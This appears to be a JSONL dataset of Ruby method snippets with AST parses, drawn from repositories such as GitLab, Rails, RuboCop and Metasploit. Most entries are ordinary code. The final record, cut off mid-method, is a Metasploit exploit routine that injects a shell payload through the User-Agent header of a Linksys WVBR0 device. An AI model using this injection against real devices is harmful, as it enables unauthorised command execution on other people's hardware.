{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":840,"raw_source":"def initialize(hash)\n      @to_hash = hash\n      super(a_hash_including(hash))\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@to_hash\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"a_hash_including\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}","id":"aaa40fb6-b176-485e-8323-17ef7dc2000e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion/extracted_cop.rb","start_line":23,"raw_source":"def rule_message\n        msg = '%<name>s been extracted to the `%<gem>s` gem.'\n        format(msg,\n               name: affected_cops.size > 1 ? \"`#{department}` cops have\" : \"`#{old_name}` has\",\n               gem: gem)\n      end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"rule_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"%<name>s been extracted to the `%<gem>s` gem.\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"affected_cops\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"department\"]}]},{\"type\":\"str\",\"children\":[\"` cops have\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_name\"]}]},{\"type\":\"str\",\"children\":[\"` has\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem\"]},{\"type\":\"send\",\"children\":[null,\"gem\"]}]}]}]}]}]}","id":"19375c31-cbd0-40d5-8b94-b1124ea0b958"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/lfs_api_controller.rb","start_line":50,"raw_source":"def download_request?\n      params[:operation] == 'download'\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"download_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"download\"]}]}]}","id":"d5f13bec-00ac-4331-9b42-2ac730d23034"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/container_expiration_policy_worker.rb","start_line":32,"raw_source":"def disable_policies_without_container_repositories\n    ContainerExpirationPolicy.active.each_batch(of: BATCH_SIZE) do |policies|\n      policies.without_container_repositories\n              .update_all(enabled: false)\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_policies_without_container_repositories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerExpirationPolicy\"]},\"active\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policies\"]},\"without_container_repositories\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"855594f7-8e73-45c1-9e93-f4385b04e5d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/xftp_client_pwd.rb","start_line":61,"raw_source":"def on_client_connect(client)\n    return if ((p = regenerate_payload(client)) == nil)\n\n    buffer = \"220 Welcome to the \" + datastore['SRVNAME'] + \" FTP Service.\\r\\n\"\n    client.put(buffer)\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"220 Welcome to the \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVNAME\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\" FTP Service.\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"18cc308a-d56d-450b-9a48-f00ecb9ddbc9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journable/with_historic_attributes/loader.rb","start_line":49,"raw_source":"def work_package_ids_of_query_at_timestamp(query:, timestamp: nil)\n      @work_package_ids_of_query_at_timestamp ||= Hash.new do |qh, q|\n        qh[q] = Hash.new do |th, t|\n          th[t] = work_package_ids_of_query_at_timestamp_calculation(q, t)\n        end\n      end\n\n      @work_package_ids_of_query_at_timestamp[query][timestamp]\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_ids_of_query_at_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"timestamp\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@work_package_ids_of_query_at_timestamp\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qh\"]},{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qh\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"th\"]},{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"th\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[null,\"work_package_ids_of_query_at_timestamp_calculation\",{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package_ids_of_query_at_timestamp\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}","id":"4e203c70-931b-43e7-98d8-72569e15ac91"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":99,"raw_source":"def setup\n    @model = LintModel.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LintModel\"]},\"new\"]}]}]}","id":"782ee88a-8ad5-4b81-a98f-c1a9ef6bf074"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":550,"raw_source":"def test_assert_enqueued_with_failure\n      assert_raise ActiveSupport::TestCase::Assertion do\n        assert_enqueued_with(job: LoggingJob, queue: \"default\") do\n          NestedJob.perform_later\n        end\n      end\n\n      assert_raise ActiveSupport::TestCase::Assertion do\n        LoggingJob.perform_later\n        assert_enqueued_with(job: LoggingJob) { }\n      end\n\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_enqueued_with(job: NestedJob, queue: \"low\") do\n          NestedJob.perform_later\n        end\n      end\n\n      assert_match(\"No enqueued job found with #{{ job: NestedJob, queue: \"low\" }}\", error.message)\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_with_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NestedJob\"]},\"perform_later\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"NestedJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"low\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NestedJob\"]},\"perform_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No enqueued job found with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"NestedJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"low\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"d5b8684c-debc-4228-8de9-2236397a5f97"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/trailing_whitespace.rb","start_line":125,"raw_source":"def offense_range(lineno, line)\n          source_range(\n            processed_source.buffer, lineno, (line.sub(/[[:blank:]]+\\z/, '').length)...(line.length)\n          )\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"offense_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lineno\"]},{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"source_range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]},{\"type\":\"lvar\",\"children\":[\"lineno\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[[:blank:]]+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]}]}]}]}]}","id":"9227d5f2-7742-4b34-bd37-39c5a790ff15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/job_tokens_task.rb","start_line":102,"raw_source":"def table_for_routes(routes, include_policies: false)\n        header = []\n        header << 'Policies' if include_policies\n        header += %w[Path Description]\n\n        table = []\n        table << markdown_row(header)\n        table << markdown_row(header.map { |item| '-' * item.length })\n\n        formatted_routes = routes.map do |route|\n          row = []\n          row << policies_for(route).join(', ') if include_policies\n          row << \"`#{route_path(route)}`\"\n          row << route.description\n          markdown_row(row)\n        end\n\n        table += formatted_routes.uniq.sort\n        table.join(\"\\n\")\n      end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"table_for_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_policies\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_policies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Policies\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"Description\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"markdown_row\",{\"type\":\"lvar\",\"children\":[\"header\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"markdown_row\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted_routes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_policies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"policies_for\",{\"type\":\"lvar\",\"children\":[\"route\"]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_path\",{\"type\":\"lvar\",\"children\":[\"route\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"description\"]}]},{\"type\":\"send\",\"children\":[null,\"markdown_row\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted_routes\"]},\"uniq\"]},\"sort\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"c7a47242-5cf0-4c9d-82f0-84f86d332605"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/lib/discourse_solved/topic_posters_summary_extension.rb","start_line":6,"raw_source":"def descriptions_by_id\n    if !defined?(@descriptions_by_id)\n      super(ids: old_user_ids)\n\n      if id = topic.accepted_answer_user_id\n        @descriptions_by_id[id] ||= []\n        @descriptions_by_id[id] << I18n.t(:accepted_answer)\n      end\n    end\n\n    super\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"descriptions_by_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@descriptions_by_id\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"send\",\"children\":[null,\"old_user_ids\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"accepted_answer_user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@descriptions_by_id\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@descriptions_by_id\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"accepted_answer\"]}]}]}]},null]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0d995500-7b7f-4524-bb89-1cabb41b0d63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/exclusions/create_service.rb","start_line":85,"raw_source":"def filtered_groups\n        group_ids = groups.map(&:id) + ancestor_integration_group_ids\n        groups.reject do |g|\n          g.ancestor_ids.intersect?(group_ids)\n        end\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filtered_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"ancestor_integration_group_ids\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"ancestor_ids\"]},\"intersect?\",{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]}]}]}","id":"7ed34408-f209-4e66-88de-6719a60b2817"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":136,"raw_source":"def test_nested_template_directory\n    assert_digest_difference(\"messages/show\") do\n      change_template(\"messages/actions/_move\")\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_template_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_digest_difference\",{\"type\":\"str\",\"children\":[\"messages/show\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_template\",{\"type\":\"str\",\"children\":[\"messages/actions/_move\"]}]}]}]}","id":"f889079d-4e9a-4457-89aa-4d22310909a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/topics_resolver.rb","start_line":19,"raw_source":"def resolve(**args)\n      organization = authorized_find!(id: args[:organization_id] || ::Current.organization.id)\n\n      return organization_topics(organization.id) unless args[:search].present?\n\n      organization_topics(organization.id).search(args[:search])\n    end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"organization\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Current\"]},\"organization\"]},\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"organization\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"organization\"]},\"id\"]}]},\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]}]}]}","id":"445f36f3-5c06-42a7-b996-0595579ff0a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sorting_helper.rb","start_line":150,"raw_source":"def issuable_reverse_sort_order_hash\n    {\n      sort_value_created_date => sort_value_oldest_created,\n      sort_value_recently_created => sort_value_oldest_created,\n      sort_value_recently_updated => sort_value_oldest_updated,\n      sort_value_milestone => sort_value_milestone_later,\n      sort_value_due_date => sort_value_due_date_later,\n      sort_value_due_date_soon => sort_value_due_date_later,\n      sort_value_merged_date => sort_value_merged_recently,\n      sort_value_merged_earlier => sort_value_merged_recently,\n      sort_value_closed_date => sort_value_closed_recently,\n      sort_value_closed_earlier => sort_value_closed_recently,\n      sort_value_popularity => sort_value_least_popular,\n      sort_value_most_popular => sort_value_least_popular,\n      sort_value_title => sort_value_title_desc\n    }.merge(issuable_sort_option_overrides)\n  end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_reverse_sort_order_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_created_date\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_oldest_created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_recently_created\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_oldest_created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_recently_updated\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_oldest_updated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_milestone\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_milestone_later\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_due_date\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_due_date_later\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_due_date_soon\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_due_date_later\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_merged_date\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_merged_recently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_merged_earlier\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_merged_recently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_closed_date\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_closed_recently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_closed_earlier\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_closed_recently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_popularity\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_least_popular\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_most_popular\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_least_popular\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_value_title\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_title_desc\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"issuable_sort_option_overrides\"]}]}]}","id":"915f8b71-9324-4665-bae4-ae9695fd3ea4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb","start_line":89,"raw_source":"def exploit_cmd\n    beg_boundary = rand_text_alpha(8)\n\n    begin\n      res = send_request_raw({\n        'method' => 'GET',\n        'uri' => '/',\n        'agent' => \"\\\"; echo #{beg_boundary}; #{payload.encoded} #\"\n      })\n\n      if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/\n        print_good(\"#{peer} - Command sent successfully\")\n        if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line\n          print_status(\"#{peer} - Command output: #{$1}\")\n        end\n      else\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Command execution failed\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the web server\")\n    end\n  